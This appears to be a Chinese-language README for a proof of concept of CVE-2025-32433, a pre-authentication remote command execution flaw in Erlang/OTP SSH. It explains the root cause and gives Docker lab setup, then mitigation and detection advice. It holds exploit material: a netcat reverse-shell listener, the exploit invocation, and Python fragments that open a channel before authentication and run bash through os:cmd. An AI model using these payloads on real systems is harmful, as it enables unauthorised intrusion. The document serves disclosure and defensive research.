Erlang/OTP SSH 预认证通道混淆漏洞

📺 概念验证视频

说明： 演示 Erlang/OTP SSH 预认证通道混淆漏洞。

点击此处观看 YouTube 完整演示

摘要

此 PoC 是关于什么的？

此概念验证演示了 CVE-2025-32433，这是 Erlang/OTP SSH 服务器实现 中的一个漏洞，允许攻击者在 认证之前 打开 SSH 通道并执行命令。

由于 SSH 协议状态转换的执行不严格，某些 SSH 消息（SSH_MSG_CHANNEL_OPEN 和 SSH_MSG_CHANNEL_REQUEST）在 用户认证成功完成之前 被接受。这导致完整的 认证绕过 和 远程命令执行 在 Erlang VM 内。

受影响条件

哪些条件必须满足才能触发此漏洞？

当满足以下条件时，可以触发此漏洞：

受此漏洞影响的 Erlang/OTP 版本包括以下版本及之前的所有版本：
- OTP-27.3.2
- OTP-26.2.5.10
- OTP-25.3.2.19
Erlang ssh 应用程序已启用
已配置基于密码的认证
攻击者可访问 SSH 守护进程
无需有效凭证

重要的是，此问题 不依赖于弱凭证或配置错误，而是协议状态处理的缺陷。

技术根本原因与利用流程

漏洞是如何表现的，为何可被利用？

问题源于 Erlang/OTP SSH 服务器中的 状态混淆缺陷，其中 认证状态在通道相关消息处理之前未严格强制执行。

从高层来看，利用过程如下：

攻击者完成 SSH 版本交换 和 密钥交换 阶段。
服务器将连接转换为活动会话状态，而未强制执行用户认证成功。
攻击者发送 SSH_MSG_CHANNEL_OPEN 请求，请求 session 通道。
服务器错误地在 认证完成之前 接受了通道请求。
在已打开的通道上发送类型为 exec 的 SSH_MSG_CHANNEL_REQUEST。
Erlang SSH 子系统将请求转发给连接处理程序。
提供的有效负载通过 Erlang 原语（例如 os:cmd/1）在 VM 上下文中执行。

此行为违反了 RFC 4252/4254 中定义的 SSH 协议模型，该模型要求 通道创建和请求只能在成功认证后允许。

简而言之：

认证状态已被跟踪但 未强制执行
通道处理基于 会话状态，而非 认证状态
ssh_connection 进程过早地处理 exec 请求
这实现了 预认证远程代码执行

这是一个 逻辑和状态管理漏洞，而非加密弱点。

构建与部署

以下步骤使用 Docker 构建并部署一个 自包含的脆弱环境。该容器运行一个故意加固的 SSH 服务器，拒绝所有凭证，确保任何成功的命令执行都是认证绕过的结果。

git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git

docker build -t erlang-ssh .

build

docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh

运行后，SSH 守护进程将在端口 2222 上暴露，并可使用提供的 PoC 进行利用。

利用

此脚本利用 Erlang/OTP SSH 服务器中的一个缺陷，该缺陷允许在认证之前处理某些 SSH 协议消息。

利用过程需要两个终端：一个用于接收反向连接，另一个用于发起利用。

监听器（终端1）：
```
nc -lvnp 4488
```
执行利用（终端2）：
```
python3 exploit.py
```

利用脚本步骤说明

协议伪造
```
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
s.sendall(pad(kex))
```
这些消息用于让服务器将该连接视为合法的 SSH 客户端。它们将 SSH 协议状态推进到足够远，以便在不完成认证的情况下允许通道相关消息。
预认证会话通道
```
s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
```
此请求用于在认证之前打开一个会话通道。在易受攻击的 Erlang/OTP SSH 服务器上，这绕过了正常的访问控制并创建了一个未授权的会话。
命令执行请求
```
erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
```
此请求用于通过 Erlang 运行时触发命令执行。将有效负载包装在 Erlang 语法中可确保命令由 Erlang VM 执行，而不是被视为标准的 SSH shell 命令。

结果

如果目标易受攻击，则提供的命令将无需认证即可执行。

exploit

防御

防御此漏洞依赖于严格的网络分段和协议级监控，因为标准认证日志可能不会记录绕过尝试（由于认证被跳过）。

网络限制： 不要将 Erlang SSH 端口（默认或自定义）暴露到公共互联网。将访问限制为受信任的 IP 或要求使用 VPN/堡垒主机。
IDS/IPS 签名： 配置入侵检测系统，以在 SSH 会话中检测到 SSH_MSG_CHANNEL_OPEN（类型 90）数据包在密钥交换后立即发送且没有先前的 SSH_MSG_USERAUTH_SUCCESS（类型 52）数据包时发出警报。
运行时监控： 监控 Erlang VM 中意外的 os:cmd 调用或 shell 进程生成，这些操作与应用程序日志中成功登录的用户会话不相关。

缓解措施

唯一的完整补救措施是修补底层 Erlang/OTP 运行时，以强制执行严格的状态转换。

1. 更新 Erlang/OTP

立即将 Erlang/OTP 运行时升级到在创建通道之前强制执行认证检查的版本。确保您运行的版本新于 “受影响条件”部分中列出的版本。

查看官方 Erlang/OTP GitHub Releases 以获取最新的安全补丁。

2. 临时解决方法

如果无法立即升级，请应用以下控制措施：

禁用 SSH 应用程序： 如果 SSH 接口不是关键任务，请停止该应用程序以消除攻击面：
```
ssh:stop().
```
防火墙白名单： 严格限制对暴露的 SSH 端口的网络访问，仅允许内部管理子网访问。

合作者

Antonie Șoga AntonieSoga · 合作者

7uddy Ene Călin Tudor 7uddy · 合作者

Cristian Bănică BanicaCristian04 · 合作者

⚠️ 免责声明

仅供教育和防御研究使用。

参考资料

cve

Erlang-OTP-PoC_CVE-2025-32433

最受欢迎